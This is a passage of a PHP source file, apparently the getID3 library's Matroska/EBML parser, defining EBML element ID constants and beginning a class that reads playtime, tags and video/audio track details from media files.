define('EBML_ID_INFO',                      0x0549A966); // [15][49][A9][66] -- Contains miscellaneous general information and statistics on the file.
define('EBML_ID_TRACKS',                    0x0654AE6B); // [16][54][AE][6B] -- A top-level block of information with many tracks described.
define('EBML_ID_SEGMENT',                   0x08538067); // [18][53][80][67] -- This element contains all other top-level (level 1) elements. Typically a Matroska file is composed of 1 segment.
define('EBML_ID_ATTACHMENTS',               0x0941A469); // [19][41][A4][69] -- Contain attached files.
define('EBML_ID_EBML',                      0x0A45DFA3); // [1A][45][DF][A3] -- Set the EBML characteristics of the data to follow. Each EBML document has to start with this.
define('EBML_ID_CUES',                      0x0C53BB6B); // [1C][53][BB][6B] -- A top-level element to speed seeking access. All entries are local to the segment.
define('EBML_ID_CLUSTER',                   0x0F43B675); // [1F][43][B6][75] -- The lower level element containing the (monolithic) Block structure.
define('EBML_ID_LANGUAGE',                    0x02B59C); //     [22][B5][9C] -- Specifies the language of the track in the Matroska languages form.
define('EBML_ID_TRACKTIMECODESCALE',          0x03314F); //     [23][31][4F] -- The scale to apply on this track to work at normal speed in relation with other tracks (mostly used to adjust video speed when the audio length differs).
define('EBML_ID_DEFAULTDURATION',             0x03E383); //     [23][E3][83] -- Number of nanoseconds (i.e. not scaled) per frame.
define('EBML_ID_CODECNAME',                   0x058688); //     [25][86][88] -- A human-readable string specifying the codec.
define('EBML_ID_CODECDOWNLOADURL',            0x06B240); //     [26][B2][40] -- A URL to download about the codec used.
define('EBML_ID_TIMECODESCALE',               0x0AD7B1); //     [2A][D7][B1] -- Timecode scale in nanoseconds (1.000.000 means all timecodes in the segment are expressed in milliseconds).
define('EBML_ID_COLOURSPACE',                 0x0EB524); //     [2E][B5][24] -- Same value as in AVI (32 bits).
define('EBML_ID_GAMMAVALUE',                  0x0FB523); //     [2F][B5][23] -- Gamma Value.
define('EBML_ID_CODECSETTINGS',               0x1A9697); //     [3A][96][97] -- A string describing the encoding setting used.
define('EBML_ID_CODECINFOURL',                0x1B4040); //     [3B][40][40] -- A URL to find information about the codec used.
define('EBML_ID_PREVFILENAME',                0x1C83AB); //     [3C][83][AB] -- An escaped filename corresponding to the previous segment.
define('EBML_ID_PREVUID',                     0x1CB923); //     [3C][B9][23] -- A unique ID to identify the previous chained segment (128 bits).
define('EBML_ID_NEXTFILENAME',                0x1E83BB); //     [3E][83][BB] -- An escaped filename corresponding to the next segment.
define('EBML_ID_NEXTUID',                     0x1EB923); //     [3E][B9][23] -- A unique ID to identify the next chained segment (128 bits).
define('EBML_ID_CONTENTCOMPALGO',               0x0254); //         [42][54] -- The compression algorithm used. Algorithms that have been specified so far are:
define('EBML_ID_CONTENTCOMPSETTINGS',           0x0255); //         [42][55] -- Settings that might be needed by the decompressor. For Header Stripping (ContentCompAlgo=3), the bytes that were removed from the beggining of each frames of the track.
define('EBML_ID_DOCTYPE',                       0x0282); //         [42][82] -- A string that describes the type of document that follows this EBML header ('matroska' in our case).
define('EBML_ID_DOCTYPEREADVERSION',            0x0285); //         [42][85] -- The minimum DocType version an interpreter has to support to read this file.
define('EBML_ID_EBMLVERSION',                   0x0286); //         [42][86] -- The version of EBML parser used to create the file.
define('EBML_ID_DOCTYPEVERSION',                0x0287); //         [42][87] -- The version of DocType interpreter used to create the file.
define('EBML_ID_EBMLMAXIDLENGTH',               0x02F2); //         [42][F2] -- The maximum length of the IDs you'll find in this file (4 or less in Matroska).
define('EBML_ID_EBMLMAXSIZELENGTH',             0x02F3); //         [42][F3] -- The maximum length of the sizes you'll find in this file (8 or less in Matroska). This does not override the element size indicated at the beginning of an element. Elements that have an indicated size which is larger than what is allowed by EBMLMaxSizeLength shall be considered invalid.
define('EBML_ID_EBMLREADVERSION',               0x02F7); //         [42][F7] -- The minimum EBML version a parser has to support to read this file.
define('EBML_ID_CHAPLANGUAGE',                  0x037C); //         [43][7C] -- The languages corresponding to the string, in the bibliographic ISO-639-2 form.
define('EBML_ID_CHAPCOUNTRY',                   0x037E); //         [43][7E] -- The countries corresponding to the string, same 2 octets as in Internet domains.
define('EBML_ID_SEGMENTFAMILY',                 0x0444); //         [44][44] -- A randomly generated unique ID that all segments related to each other must use (128 bits).
define('EBML_ID_DATEUTC',                       0x0461); //         [44][61] -- Date of the origin of timecode (value 0), i.e. production date.
define('EBML_ID_TAGLANGUAGE',                   0x047A); //         [44][7A] -- Specifies the language of the tag specified, in the Matroska languages form.
define('EBML_ID_TAGDEFAULT',                    0x0484); //         [44][84] -- Indication to know if this is the default/original language to use for the given tag.
define('EBML_ID_TAGBINARY',                     0x0485); //         [44][85] -- The values of the Tag if it is binary. Note that this cannot be used in the same SimpleTag as TagString.
define('EBML_ID_TAGSTRING',                     0x0487); //         [44][87] -- The value of the Tag.
define('EBML_ID_DURATION',                      0x0489); //         [44][89] -- Duration of the segment (based on TimecodeScale).
define('EBML_ID_CHAPPROCESSPRIVATE',            0x050D); //         [45][0D] -- Some optional data attached to the ChapProcessCodecID information. For ChapProcessCodecID = 1, it is the "DVD level" equivalent.
define('EBML_ID_CHAPTERFLAGENABLED',            0x0598); //         [45][98] -- Specify wether the chapter is enabled. It can be enabled/disabled by a Control Track. When disabled, the movie should skip all the content between the TimeStart and TimeEnd of this chapter.
define('EBML_ID_TAGNAME',                       0x05A3); //         [45][A3] -- The name of the Tag that is going to be stored.
define('EBML_ID_EDITIONENTRY',                  0x05B9); //         [45][B9] -- Contains all information about a segment edition.
define('EBML_ID_EDITIONUID',                    0x05BC); //         [45][BC] -- A unique ID to identify the edition. It's useful for tagging an edition.
define('EBML_ID_EDITIONFLAGHIDDEN',             0x05BD); //         [45][BD] -- If an edition is hidden (1), it should not be available to the user interface (but still to Control Tracks).
define('EBML_ID_EDITIONFLAGDEFAULT',            0x05DB); //         [45][DB] -- If a flag is set (1) the edition should be used as the default one.
define('EBML_ID_EDITIONFLAGORDERED',            0x05DD); //         [45][DD] -- Specify if the chapters can be defined multiple times and the order to play them is enforced.
define('EBML_ID_FILEDATA',                      0x065C); //         [46][5C] -- The data of the file.
define('EBML_ID_FILEMIMETYPE',                  0x0660); //         [46][60] -- MIME type of the file.
define('EBML_ID_FILENAME',                      0x066E); //         [46][6E] -- Filename of the attached file.
define('EBML_ID_FILEREFERRAL',                  0x0675); //         [46][75] -- A binary value that a track/codec can refer to when the attachment is needed.
define('EBML_ID_FILEDESCRIPTION',               0x067E); //         [46][7E] -- A human-friendly name for the attached file.
define('EBML_ID_FILEUID',                       0x06AE); //         [46][AE] -- Unique ID representing the file, as random as possible.
define('EBML_ID_CONTENTENCALGO',                0x07E1); //         [47][E1] -- The encryption algorithm used. The value '0' means that the contents have not been encrypted but only signed. Predefined values:
define('EBML_ID_CONTENTENCKEYID',               0x07E2); //         [47][E2] -- For public key algorithms this is the ID of the public key the data was encrypted with.
define('EBML_ID_CONTENTSIGNATURE',              0x07E3); //         [47][E3] -- A cryptographic signature of the contents.
define('EBML_ID_CONTENTSIGKEYID',               0x07E4); //         [47][E4] -- This is the ID of the private key the data was signed with.
define('EBML_ID_CONTENTSIGALGO',                0x07E5); //         [47][E5] -- The algorithm used for the signature. A value of '0' means that the contents have not been signed but only encrypted. Predefined values:
define('EBML_ID_CONTENTSIGHASHALGO',            0x07E6); //         [47][E6] -- The hash algorithm used for the signature. A value of '0' means that the contents have not been signed but only encrypted. Predefined values:
define('EBML_ID_MUXINGAPP',                     0x0D80); //         [4D][80] -- Muxing application or library ("libmatroska-0.4.3").
define('EBML_ID_SEEK',                          0x0DBB); //         [4D][BB] -- Contains a single seek entry to an EBML element.
define('EBML_ID_CONTENTENCODINGORDER',          0x1031); //         [50][31] -- Tells when this modification was used during encoding/muxing starting with 0 and counting upwards. The decoder/demuxer has to start with the highest order number it finds and work its way down. This value has to be unique over all ContentEncodingOrder elements in the segment.
define('EBML_ID_CONTENTENCODINGSCOPE',          0x1032); //         [50][32] -- A bit field that describes which elements have been modified in this way. Values (big endian) can be OR'ed. Possible values:
define('EBML_ID_CONTENTENCODINGTYPE',           0x1033); //         [50][33] -- A value describing what kind of transformation has been done. Possible values:
define('EBML_ID_CONTENTCOMPRESSION',            0x1034); //         [50][34] -- Settings describing the compression used. Must be present if the value of ContentEncodingType is 0 and absent otherwise. Each block must be decompressable even if no previous block is available in order not to prevent seeking.
define('EBML_ID_CONTENTENCRYPTION',             0x1035); //         [50][35] -- Settings describing the encryption used. Must be present if the value of ContentEncodingType is 1 and absent otherwise.
define('EBML_ID_CUEREFNUMBER',                  0x135F); //         [53][5F] -- Number of the referenced Block of Track X in the specified Cluster.
define('EBML_ID_NAME',                          0x136E); //         [53][6E] -- A human-readable track name.
define('EBML_ID_CUEBLOCKNUMBER',                0x1378); //         [53][78] -- Number of the Block in the specified Cluster.
define('EBML_ID_TRACKOFFSET',                   0x137F); //         [53][7F] -- A value to add to the Block's Timecode. This can be used to adjust the playback offset of a track.
define('EBML_ID_SEEKID',                        0x13AB); //         [53][AB] -- The binary ID corresponding to the element name.
define('EBML_ID_SEEKPOSITION',                  0x13AC); //         [53][AC] -- The position of the element in the segment in octets (0 = first level 1 element).
define('EBML_ID_STEREOMODE',                    0x13B8); //         [53][B8] -- Stereo-3D video mode.
define('EBML_ID_OLDSTEREOMODE',                 0x13B9); //         [53][B9] -- Bogus StereoMode value used in old versions of libmatroska. DO NOT USE. (0: mono, 1: right eye, 2: left eye, 3: both eyes).
define('EBML_ID_PIXELCROPBOTTOM',               0x14AA); //         [54][AA] -- The number of video pixels to remove at the bottom of the image (for HDTV content).
define('EBML_ID_DISPLAYWIDTH',                  0x14B0); //         [54][B0] -- Width of the video frames to display.
define('EBML_ID_DISPLAYUNIT',                   0x14B2); //         [54][B2] -- Type of the unit for DisplayWidth/Height (0: pixels, 1: centimeters, 2: inches).
define('EBML_ID_ASPECTRATIOTYPE',               0x14B3); //         [54][B3] -- Specify the possible modifications to the aspect ratio (0: free resizing, 1: keep aspect ratio, 2: fixed).
define('EBML_ID_DISPLAYHEIGHT',                 0x14BA); //         [54][BA] -- Height of the video frames to display.
define('EBML_ID_PIXELCROPTOP',                  0x14BB); //         [54][BB] -- The number of video pixels to remove at the top of the image.
define('EBML_ID_PIXELCROPLEFT',                 0x14CC); //         [54][CC] -- The number of video pixels to remove on the left of the image.
define('EBML_ID_PIXELCROPRIGHT',                0x14DD); //         [54][DD] -- The number of video pixels to remove on the right of the image.
define('EBML_ID_FLAGFORCED',                    0x15AA); //         [55][AA] -- Set if that track MUST be used during playback. There can be many forced track for a kind (audio, video or subs), the player should select the one which language matches the user preference or the default + forced track. Overlay MAY happen between a forced and non-forced track of the same kind.
define('EBML_ID_MAXBLOCKADDITIONID',            0x15EE); //         [55][EE] -- The maximum value of BlockAddID. A value 0 means there is no BlockAdditions for this track.
define('EBML_ID_WRITINGAPP',                    0x1741); //         [57][41] -- Writing application ("mkvmerge-0.3.3").
define('EBML_ID_CLUSTERSILENTTRACKS',           0x1854); //         [58][54] -- The list of tracks that are not used in that part of the stream. It is useful when using overlay tracks on seeking. Then you should decide what track to use.
define('EBML_ID_CLUSTERSILENTTRACKNUMBER',      0x18D7); //         [58][D7] -- One of the track number that are not used from now on in the stream. It could change later if not specified as silent in a further Cluster.
define('EBML_ID_ATTACHEDFILE',                  0x21A7); //         [61][A7] -- An attached file.
define('EBML_ID_CONTENTENCODING',               0x2240); //         [62][40] -- Settings for one content encoding like compression or encryption.
define('EBML_ID_BITDEPTH',                      0x2264); //         [62][64] -- Bits per sample, mostly used for PCM.
define('EBML_ID_CODECPRIVATE',                  0x23A2); //         [63][A2] -- Private data only known to the codec.
define('EBML_ID_TARGETS',                       0x23C0); //         [63][C0] -- Contain all UIDs where the specified meta data apply. It is void to describe everything in the segment.
define('EBML_ID_CHAPTERPHYSICALEQUIV',          0x23C3); //         [63][C3] -- Specify the physical equivalent of this ChapterAtom like "DVD" (60) or "SIDE" (50), see complete list of values.
define('EBML_ID_TAGCHAPTERUID',                 0x23C4); //         [63][C4] -- A unique ID to identify the Chapter(s) the tags belong to. If the value is 0 at this level, the tags apply to all chapters in the Segment.
define('EBML_ID_TAGTRACKUID',                   0x23C5); //         [63][C5] -- A unique ID to identify the Track(s) the tags belong to. If the value is 0 at this level, the tags apply to all tracks in the Segment.
define('EBML_ID_TAGATTACHMENTUID',              0x23C6); //         [63][C6] -- A unique ID to identify the Attachment(s) the tags belong to. If the value is 0 at this level, the tags apply to all the attachments in the Segment.
define('EBML_ID_TAGEDITIONUID',                 0x23C9); //         [63][C9] -- A unique ID to identify the EditionEntry(s) the tags belong to. If the value is 0 at this level, the tags apply to all editions in the Segment.
define('EBML_ID_TARGETTYPE',                    0x23CA); //         [63][CA] -- An informational string that can be used to display the logical level of the target like "ALBUM", "TRACK", "MOVIE", "CHAPTER", etc (see TargetType).
define('EBML_ID_TRACKTRANSLATE',                0x2624); //         [66][24] -- The track identification for the given Chapter Codec.
define('EBML_ID_TRACKTRANSLATETRACKID',         0x26A5); //         [66][A5] -- The binary value used to represent this track in the chapter codec data. The format depends on the ChapProcessCodecID used.
define('EBML_ID_TRACKTRANSLATECODEC',           0x26BF); //         [66][BF] -- The chapter codec using this ID (0: Matroska Script, 1: DVD-menu).
define('EBML_ID_TRACKTRANSLATEEDITIONUID',      0x26FC); //         [66][FC] -- Specify an edition UID on which this translation applies. When not specified, it means for all editions found in the segment.
define('EBML_ID_SIMPLETAG',                     0x27C8); //         [67][C8] -- Contains general information about the target.
define('EBML_ID_TARGETTYPEVALUE',               0x28CA); //         [68][CA] -- A number to indicate the logical level of the target (see TargetType).
define('EBML_ID_CHAPPROCESSCOMMAND',            0x2911); //         [69][11] -- Contains all the commands associated to the Atom.
define('EBML_ID_CHAPPROCESSTIME',               0x2922); //         [69][22] -- Defines when the process command should be handled (0: during the whole chapter, 1: before starting playback, 2: after playback of the chapter).
define('EBML_ID_CHAPTERTRANSLATE',              0x2924); //         [69][24] -- A tuple of corresponding ID used by chapter codecs to represent this segment.
define('EBML_ID_CHAPPROCESSDATA',               0x2933); //         [69][33] -- Contains the command information. The data should be interpreted depending on the ChapProcessCodecID value. For ChapProcessCodecID = 1, the data correspond to the binary DVD cell pre/post commands.
define('EBML_ID_CHAPPROCESS',                   0x2944); //         [69][44] -- Contains all the commands associated to the Atom.
define('EBML_ID_CHAPPROCESSCODECID',            0x2955); //         [69][55] -- Contains the type of the codec used for the processing. A value of 0 means native Matroska processing (to be defined), a value of 1 means the DVD command set is used. More codec IDs can be added later.
define('EBML_ID_CHAPTERTRANSLATEID',            0x29A5); //         [69][A5] -- The binary value used to represent this segment in the chapter codec data. The format depends on the ChapProcessCodecID used.
define('EBML_ID_CHAPTERTRANSLATECODEC',         0x29BF); //         [69][BF] -- The chapter codec using this ID (0: Matroska Script, 1: DVD-menu).
define('EBML_ID_CHAPTERTRANSLATEEDITIONUID',    0x29FC); //         [69][FC] -- Specify an edition UID on which this correspondance applies. When not specified, it means for all editions found in the segment.
define('EBML_ID_CONTENTENCODINGS',              0x2D80); //         [6D][80] -- Settings for several content encoding mechanisms like compression or encryption.
define('EBML_ID_MINCACHE',                      0x2DE7); //         [6D][E7] -- The minimum number of frames a player should be able to cache during playback. If set to 0, the reference pseudo-cache system is not used.
define('EBML_ID_MAXCACHE',                      0x2DF8); //         [6D][F8] -- The maximum cache size required to store referenced frames in and the current frame. 0 means no cache is needed.
define('EBML_ID_CHAPTERSEGMENTUID',             0x2E67); //         [6E][67] -- A segment to play in place of this chapter. Edition ChapterSegmentEditionUID should be used for this segment, otherwise no edition is used.
define('EBML_ID_CHAPTERSEGMENTEDITIONUID',      0x2EBC); //         [6E][BC] -- The edition to play from the segment linked in ChapterSegmentUID.
define('EBML_ID_TRACKOVERLAY',                  0x2FAB); //         [6F][AB] -- Specify that this track is an overlay track for the Track specified (in the u-integer). That means when this track has a gap (see SilentTracks) the overlay track should be used instead. The order of multiple TrackOverlay matters, the first one is the one that should be used. If not found it should be the second, etc.
define('EBML_ID_TAG',                           0x3373); //         [73][73] -- Element containing elements specific to Tracks/Chapters.
define('EBML_ID_SEGMENTFILENAME',               0x3384); //         [73][84] -- A filename corresponding to this segment.
define('EBML_ID_SEGMENTUID',                    0x33A4); //         [73][A4] -- A randomly generated unique ID to identify the current segment between many others (128 bits).
define('EBML_ID_CHAPTERUID',                    0x33C4); //         [73][C4] -- A unique ID to identify the Chapter.
define('EBML_ID_TRACKUID',                      0x33C5); //         [73][C5] -- A unique ID to identify the Track. This should be kept the same when making a direct stream copy of the Track to another file.
define('EBML_ID_ATTACHMENTLINK',                0x3446); //         [74][46] -- The UID of an attachment that is used by this codec.
define('EBML_ID_CLUSTERBLOCKADDITIONS',         0x35A1); //         [75][A1] -- Contain additional blocks to complete the main one. An EBML parser that has no knowledge of the Block structure could still see and use/skip these data.
define('EBML_ID_CHANNELPOSITIONS',              0x347B); //         [7D][7B] -- Table of horizontal angles for each successive channel, see appendix.
define('EBML_ID_OUTPUTSAMPLINGFREQUENCY',       0x38B5); //         [78][B5] -- Real output sampling frequency in Hz (used for SBR techniques).
define('EBML_ID_TITLE',                         0x3BA9); //         [7B][A9] -- General name of the segment.
define('EBML_ID_CHAPTERDISPLAY',                  0x00); //             [80] -- Contains all possible strings to use for the chapter display.
define('EBML_ID_TRACKTYPE',                       0x03); //             [83] -- A set of track types coded on 8 bits (1: video, 2: audio, 3: complex, 0x10: logo, 0x11: subtitle, 0x12: buttons, 0x20: control).
define('EBML_ID_CHAPSTRING',                      0x05); //             [85] -- Contains the string to use as the chapter atom.
define('EBML_ID_CODECID',                         0x06); //             [86] -- An ID corresponding to the codec, see the codec page for more info.
define('EBML_ID_FLAGDEFAULT',                     0x08); //             [88] -- Set if that track (audio, video or subs) SHOULD be used if no language found matches the user preference.
define('EBML_ID_CHAPTERTRACKNUMBER',              0x09); //             [89] -- UID of the Track to apply this chapter too. In the absense of a control track, choosing this chapter will select the listed Tracks and deselect unlisted tracks. Absense of this element indicates that the Chapter should be applied to any currently used Tracks.
define('EBML_ID_CLUSTERSLICES',                   0x0E); //             [8E] -- Contains slices description.
define('EBML_ID_CHAPTERTRACK',                    0x0F); //             [8F] -- List of tracks on which the chapter applies. If this element is not present, all tracks apply
define('EBML_ID_CHAPTERTIMESTART',                0x11); //             [91] -- Timecode of the start of Chapter (not scaled).
define('EBML_ID_CHAPTERTIMEEND',                  0x12); //             [92] -- Timecode of the end of Chapter (timecode excluded, not scaled).
define('EBML_ID_CUEREFTIME',                      0x16); //             [96] -- Timecode of the referenced Block.
define('EBML_ID_CUEREFCLUSTER',                   0x17); //             [97] -- Position of the Cluster containing the referenced Block.
define('EBML_ID_CHAPTERFLAGHIDDEN',               0x18); //             [98] -- If a chapter is hidden (1), it should not be available to the user interface (but still to Control Tracks).
define('EBML_ID_FLAGINTERLACED',                  0x1A); //             [9A] -- Set if the video is interlaced.
define('EBML_ID_CLUSTERBLOCKDURATION',            0x1B); //             [9B] -- The duration of the Block (based on TimecodeScale). This element is mandatory when DefaultDuration is set for the track. When not written and with no DefaultDuration, the value is assumed to be the difference between the timecode of this Block and the timecode of the next Block in "display" order (not coding order). This element can be useful at the end of a Track (as there is not other Block available), or when there is a break in a track like for subtitle tracks.
define('EBML_ID_FLAGLACING',                      0x1C); //             [9C] -- Set if the track may contain blocks using lacing.
define('EBML_ID_CHANNELS',                        0x1F); //             [9F] -- Numbers of channels in the track.
define('EBML_ID_CLUSTERBLOCKGROUP',               0x20); //             [A0] -- Basic container of information containing a single Block or BlockVirtual, and information specific to that Block/VirtualBlock.
define('EBML_ID_CLUSTERBLOCK',                    0x21); //             [A1] -- Block containing the actual data to be rendered and a timecode relative to the Cluster Timecode.
define('EBML_ID_CLUSTERBLOCKVIRTUAL',             0x22); //             [A2] -- A Block with no data. It must be stored in the stream at the place the real Block should be in display order.
define('EBML_ID_CLUSTERSIMPLEBLOCK',              0x23); //             [A3] -- Similar to Block but without all the extra information, mostly used to reduced overhead when no extra feature is needed.
define('EBML_ID_CLUSTERCODECSTATE',               0x24); //             [A4] -- The new codec state to use. Data interpretation is private to the codec. This information should always be referenced by a seek entry.
define('EBML_ID_CLUSTERBLOCKADDITIONAL',          0x25); //             [A5] -- Interpreted by the codec as it wishes (using the BlockAddID).
define('EBML_ID_CLUSTERBLOCKMORE',                0x26); //             [A6] -- Contain the BlockAdditional and some parameters.
define('EBML_ID_CLUSTERPOSITION',                 0x27); //             [A7] -- Position of the Cluster in the segment (0 in live broadcast streams). It might help to resynchronise offset on damaged streams.
define('EBML_ID_CODECDECODEALL',                  0x2A); //             [AA] -- The codec can decode potentially damaged data.
define('EBML_ID_CLUSTERPREVSIZE',                 0x2B); //             [AB] -- Size of the previous Cluster, in octets. Can be useful for backward playing.
define('EBML_ID_TRACKENTRY',                      0x2E); //             [AE] -- Describes a track with all elements.
define('EBML_ID_CLUSTERENCRYPTEDBLOCK',           0x2F); //             [AF] -- Similar to SimpleBlock but the data inside the Block are Transformed (encrypt and/or signed).
define('EBML_ID_PIXELWIDTH',                      0x30); //             [B0] -- Width of the encoded video frames in pixels.
define('EBML_ID_CUETIME',                         0x33); //             [B3] -- Absolute timecode according to the segment time base.
define('EBML_ID_SAMPLINGFREQUENCY',               0x35); //             [B5] -- Sampling frequency in Hz.
define('EBML_ID_CHAPTERATOM',                     0x36); //             [B6] -- Contains the atom information to use as the chapter atom (apply to all tracks).
define('EBML_ID_CUETRACKPOSITIONS',               0x37); //             [B7] -- Contain positions for different tracks corresponding to the timecode.
define('EBML_ID_FLAGENABLED',                     0x39); //             [B9] -- Set if the track is used.
define('EBML_ID_PIXELHEIGHT',                     0x3A); //             [BA] -- Height of the encoded video frames in pixels.
define('EBML_ID_CUEPOINT',                        0x3B); //             [BB] -- Contains all information relative to a seek point in the segment.
define('EBML_ID_CRC32',                           0x3F); //             [BF] -- The CRC is computed on all the data of the Master element it's in, regardless of its position. It's recommended to put the CRC value at the beggining of the Master element for easier reading. All level 1 elements should include a CRC-32.
define('EBML_ID_CLUSTERBLOCKADDITIONID',          0x4B); //             [CB] -- The ID of the BlockAdditional element (0 is the main Block).
define('EBML_ID_CLUSTERLACENUMBER',               0x4C); //             [CC] -- The reverse number of the frame in the lace (0 is the last frame, 1 is the next to last, etc). While there are a few files in the wild with this element, it is no longer in use and has been deprecated. Being able to interpret this element is not required for playback.
define('EBML_ID_CLUSTERFRAMENUMBER',              0x4D); //             [CD] -- The number of the frame to generate from this lace with this delay (allow you to generate many frames from the same Block/Frame).
define('EBML_ID_CLUSTERDELAY',                    0x4E); //             [CE] -- The (scaled) delay to apply to the element.
define('EBML_ID_CLUSTERDURATION',                 0x4F); //             [CF] -- The (scaled) duration to apply to the element.
define('EBML_ID_TRACKNUMBER',                     0x57); //             [D7] -- The track number as used in the Block Header (using more than 127 tracks is not encouraged, though the design allows an unlimited number).
define('EBML_ID_CUEREFERENCE',                    0x5B); //             [DB] -- The Clusters containing the required referenced Blocks.
define('EBML_ID_VIDEO',                           0x60); //             [E0] -- Video settings.
define('EBML_ID_AUDIO',                           0x61); //             [E1] -- Audio settings.
define('EBML_ID_CLUSTERTIMESLICE',                0x68); //             [E8] -- Contains extra time information about the data contained in the Block. While there are a few files in the wild with this element, it is no longer in use and has been deprecated. Being able to interpret this element is not required for playback.
define('EBML_ID_CUECODECSTATE',                   0x6A); //             [EA] -- The position of the Codec State corresponding to this Cue element. 0 means that the data is taken from the initial Track Entry.
define('EBML_ID_CUEREFCODECSTATE',                0x6B); //             [EB] -- The position of the Codec State corresponding to this referenced element. 0 means that the data is taken from the initial Track Entry.
define('EBML_ID_VOID',                            0x6C); //             [EC] -- Used to void damaged data, to avoid unexpected behaviors when using damaged data. The content is discarded. Also used to reserve space in a sub-element for later use.
define('EBML_ID_CLUSTERTIMECODE',                 0x67); //             [E7] -- Absolute timecode of the cluster (based on TimecodeScale).
define('EBML_ID_CLUSTERBLOCKADDID',               0x6E); //             [EE] -- An ID to identify the BlockAdditional level.
define('EBML_ID_CUECLUSTERPOSITION',              0x71); //             [F1] -- The position of the Cluster containing the required Block.
define('EBML_ID_CUETRACK',                        0x77); //             [F7] -- The track for which a position is given.
define('EBML_ID_CLUSTERREFERENCEPRIORITY',        0x7A); //             [FA] -- This frame is referenced and has the specified cache priority. In cache only a frame of the same or higher priority can replace this frame. A value of 0 means the frame is not referenced.
define('EBML_ID_CLUSTERREFERENCEBLOCK',           0x7B); //             [FB] -- Timecode of another frame used as a reference (ie: B or P frame). The timecode is relative to the block it's attached to.
define('EBML_ID_CLUSTERREFERENCEVIRTUAL',         0x7D); //             [FD] -- Relative position of the data that should be in position of the virtual block.


/**
* @tutorial http://www.matroska.org/technical/specs/index.html
*
* @todo Rewrite EBML parser to reduce it's size and honor default element values
* @todo After rewrite implement stream size calculation, that will provide additional useful info and enable AAC/FLAC audio bitrate detection
*/
class getid3_matroska extends getid3_handler
{
	/**
	 * If true, do not return information about CLUSTER chunks, since there's a lot of them
	 * and they're not usually useful [default: TRUE].
	 *
	 * @var bool
	 */
	public $hide_clusters    = true;

	/**
	 * True to parse the whole file, not only header [default: FALSE].
	 *
	 * @var bool
	 */
	public $parse_whole_file = false;

	/*
	 * Private parser settings/placeholders.
	 */
	private $EBMLbuffer        = '';
	private $EBMLbuffer_offset = 0;
	private $EBMLbuffer_length = 0;
	private $current_offset    = 0;
	private $unuseful_elements = array(EBML_ID_CRC32, EBML_ID_VOID);

	/**
	 * @return bool
	 */
	public function Analyze()
	{
		$info = &$this->getid3->info;

		// parse container
		try {
			$this->parseEBML($info);
		} catch (Exception $e) {
			$this->error('EBML parser: '.$e->getMessage());
		}

		// calculate playtime
		if (isset($info['matroska']['info']) && is_array($info['matroska']['info'])) {
			foreach ($info['matroska']['info'] as $key => $infoarray) {
				if (isset($infoarray['Duration'])) {
					// TimecodeScale is how many nanoseconds each Duration unit is
					$info['playtime_seconds'] = $infoarray['Duration'] * ((isset($infoarray['TimecodeScale']) ? $infoarray['TimecodeScale'] : 1000000) / 1000000000);
					break;
				}
			}
		}

		// extract tags
		if (isset($info['matroska']['tags']) && is_array($info['matroska']['tags'])) {
			foreach ($info['matroska']['tags'] as $key => $infoarray) {
				$this->ExtractCommentsSimpleTag($infoarray);
			}
		}

		// process tracks
		if (isset($info['matroska']['tracks']['tracks']) && is_array($info['matroska']['tracks']['tracks'])) {
			foreach ($info['matroska']['tracks']['tracks'] as $key => $trackarray) {

				$track_info = array();
				$track_info['dataformat'] = self::CodecIDtoCommonName($trackarray['CodecID']);
				$track_info['default'] = (isset($trackarray['FlagDefault']) ? $trackarray['FlagDefault'] : true);
				if (isset($trackarray['Name'])) { $track_info['name'] = $trackarray['Name']; }

				switch ($trackarray['TrackType']) {

					case 1: // Video
						$track_info['resolution_x'] = $trackarray['PixelWidth'];
						$track_info['resolution_y'] = $trackarray['PixelHeight'];
						$track_info['display_unit'] = self::displayUnit(isset($trackarray['DisplayUnit']) ? $trackarray['DisplayUnit'] : 0);
						$track_info['display_x']    = (isset($trackarray['DisplayWidth']) ? $trackarray['DisplayWidth'] : $trackarray['PixelWidth']);
						$track_info['display_y']    = (isset($trackarray['DisplayHeight']) ? $trackarray['DisplayHeight'] : $trackarray['PixelHeight']);

						if (isset($trackarray['PixelCropBottom']))  { $track_info['crop_bottom'] = $trackarray['PixelCropBottom']; }
						if (isset($trackarray['PixelCropTop']))     { $track_info['crop_top']    = $trackarray['PixelCropTop']; }
						if (isset($trackarray['PixelCropLeft']))    { $track_info['crop_left']   = $trackarray['PixelCropLeft']; }
						if (isset($trackarray['PixelCropRight']))   { $track_info['crop_right']  = $trackarray['PixelCropRight']; }
						if (!empty($trackarray['DefaultDuration'])) { $track_info['frame_rate']  = round(1000000000 / $trackarray['DefaultDuration'], 3); }
						if (isset($trackarray['CodecName']))        { $track_info['codec']       = $trackarray['CodecName']; }

						switch ($trackarray['CodecID']) {
							case 'V_MS/VFW/FOURCC':
								getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.riff.php', __FILE__, true);

								$parsed = getid3_riff::ParseBITMAPINFOHEADER($trackarray['CodecPrivate']);
								$track_info['codec'] = getid3_riff::fourccLookup($parsed['fourcc']);
								$info['matroska']['track_codec_parsed'][$trackarray['TrackNumber']] = $parsed;
								break;

							/*case 'V_MPEG4/ISO/AVC':
								$h264['profile']    = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], 1, 1));
								$h264['level']      = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], 3, 1));
								$rn                 = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], 4, 1));
								$h264['NALUlength'] = ($rn & 3) + 1;
								$rn                 = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], 5, 1));
								$nsps               = ($rn & 31);
								$offset             = 6;
								for ($i = 0; $i < $nsps; $i ++) {
									$length        = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], $offset, 2));
									$h264['SPS'][] = substr($trackarray['CodecPrivate'], $offset + 2, $length);
									$offset       += 2 + $length;
								}
								$npps               = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], $offset, 1));
								$offset            += 1;
								for ($i = 0; $i < $npps; $i ++) {
									$length        = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], $offset, 2));
									$h264['PPS'][] = substr($trackarray['CodecPrivate'], $offset + 2, $length);
									$offset       += 2 + $length;
								}
								$info['matroska']['track_codec_parsed'][$trackarray['TrackNumber']] = $h264;
								break;*/
						}

						$info['video']['streams'][$trackarray['TrackUID']] = $track_info;
						break;

					case 2: // Audio
						$track_info['sample_rate'] = (isset($trackarray['SamplingFrequency']) ? $trackarray['SamplingFrequency'] : 8000.0);
